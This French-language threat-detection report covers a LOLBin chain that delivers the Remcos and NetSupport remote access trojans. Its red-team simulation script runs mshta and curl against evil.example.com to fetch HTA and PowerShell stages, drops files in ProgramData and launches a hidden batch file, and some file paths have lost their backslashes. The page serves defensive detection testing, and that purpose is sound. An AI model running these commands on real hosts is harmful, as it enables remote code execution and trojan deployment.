Peut-on Surutiliser les LOLBins pour Délivrer des Charges Utilisant des RAT ?
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Ce rapport décrit une chaîne d’infection multi-étapes qui exploite de manière agressive les utilitaires intégrés de Windows (LOLBins) pour récupérer et exécuter des outils d’accès à distance, y compris Remcos et NetSupport Manager. L’opérateur enchaîne forfiles, mshta, PowerShell, curl, tar, WScript et des modifications ciblées du registre pour mettre en scène les charges utiles, établir une persistance et réduire la visibilité. Le flux de travail utilise également un comportement de survie (living-off-the-land) pour s’intégrer discrètement dans les activités administratives de routine. Malwarebytes a identifié l’activité et bloqué l’adresse IP associée. Dans l’ensemble, cela souligne à quel point l’exploitation abusive des LOLBin peut livrer de manière fiable des RATs.
Enquête
Les chercheurs ont d’abord observé forfiles.exe engendrer mshta, qui a récupéré un HTA malveillant exécutant PowerShell pour récupérer un leurre PDF contenant une archive TAR. Après extraction, un glaxnimate.exe trojanisé a déposé des composants fragmentés dans ProgramData, ensuite réassemblés et lancés en utilisant WScript, des scripts batch et des fichiers de support. La persistance a été définie en créant une valeur UserInitMprLogonScript sous HKCUEnvironment faisant référence à un binaire de client malveillant.
Atténuation
Surveiller l’exécution anormale de LOLBin, en particulier forfiles, mshta, curl, tar, expand, et les modifications suspectes du registre au sein de HKCUEnvironment. Appliquer une liste blanche d’applications, activer la journalisation complète de PowerShell, et empêcher l’exécution de scripts depuis ProgramData pour limiter l’étagement. Bloquer les communications HTTP sortantes inhabituelles vers des IP inconnues et appliquer un filtrage d’URL pour perturber les tentatives initiales de téléchargement.
Réponse
Lorsque détecté, isoler l’hôte, capturer la télémétrie complète de la ligne de commande, et collecter les artefacts abandonnés pour une analyse de hachage. Retirer l’entrée de registre malveillante et purger les fichiers créés dans ProgramData. Effectuer un scan de l’endpoint avec des signatures antivirus à jour et mettre en place un blocage au niveau du réseau pour l’adresse IP de l’attaquant et les domaines associés.
Flux d’attaque
Détections
LOLBAS WScript / CScript (via process_creation)
Voir
Utilisation suspecte de CURL (via cmdline)
Voir
Points de persistance possibles [ASEPs – Hive Software/NTUSER] (via cmdline)
Voir
Fichiers extraits suspects d’une archive (via file_event)
Voir
LOLBAS ForFiles (via cmdline)
Voir
Détection de l’abus de LOLBin pour le déploiement de Remote Access Trojan [Windows Process Creation]
Voir
Exécution de simulation
Condition préalable : Le contrôle de pré-vol pour la télémétrie et la base doit avoir réussi.
Motif : Cette section détaille l’exécution précise de la technique des adversaires (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémetrie exacte attendue par la logique de détection.
-
Narratif d’attaque et commandes :
L’opérateur de l’équipe rouge vise à déployer le Remcos RAT en utilisant une chaîne de LOLBins pour éviter de télécharger un exécutable directement.- Découverte et mise en scène : Use
forfiles.exepour localiser un répertoire cible et lancermshtaavec une URL malveillante qui héberge une charge utile HTA. - Téléchargement PowerShell sans fichier : Invoquer
powershell.exeavec-NoProfile -Command curlpour tirer un script de deuxième étape d’un serveur C2. - Exécution VBScript : Déployer un
processor.vbsviacrafted WScript.exepour écrire le binaire RAT dans%ProgramData%. - Déposeur en batch : Exécuter un fichier batch caché (
patcher.bat) viacmd.exeinvoqué viaIWshShell3.Runpour finaliser la persistance.
Chaque étape génère un événement de création de processus distinct correspondant à une des sélections Sigma, garantissant que la règle se déclenche.
- Découverte et mise en scène : Use
-
Script de test de régression :
Le script ci-dessous reproduit les quatre sélections dans un laboratoire contrôlé. Il journalise chaque commande dans un fichier temporaire pour vérification ultérieure.#------------------------------------------------- # Simulation d'abus de LOLBin - déclenche la règle Sigma #------------------------------------------------- $log = "$env:TEMPlolbin_simulation.log" Clear-Content -Path $log -ErrorAction SilentlyContinue # 1. forfiles.exe -> mshta $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"' Write-Output "[+] Exécution : $cmd1" | Tee-Object -FilePath $log Invoke-Expression $cmd1 # 2. powershell.exe -> téléchargement curl $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"' Write-Output "[+] Exécution : $cmd2" | Tee-Object -FilePath $log Invoke-Expression $cmd2 # 3. wscript.exe -> processor.vbs $vbsPath = "$env:ProgramDataprocessor.vbs" @" Set fso = CreateObject("Scripting.FileSystemObject") fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malveillant" "@ | Set-Content -Path $vbsPath -Encoding ASCII $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`"" Write-Output "[+] Exécution : $cmd3" | Tee-Object -FilePath $log Invoke-Expression $cmd3 # 4. IWshShell3.Run -> cmd /c patcher.bat $batPath = "$env:ProgramDatapatcher.bat" "@ echo @echo off > %TEMP%nothing.txt "@ | Set-Content -Path $batPath -Encoding ASCII $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`"" Write-Output "[+] Exécution : $cmd4 (via IWshShell3.Run)" | Tee-Object -FilePath $log Invoke-Expression $cmd4 Write-Output "[+] Simulation terminée." | Tee-Object -FilePath $log -
Commandes de nettoyage :
Supprimer les artefacts pour restaurer l’hôte à un état propre.# Nettoyer les artefacts de simulation LOLBin Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue Write-Output "[+] Nettoyage terminé."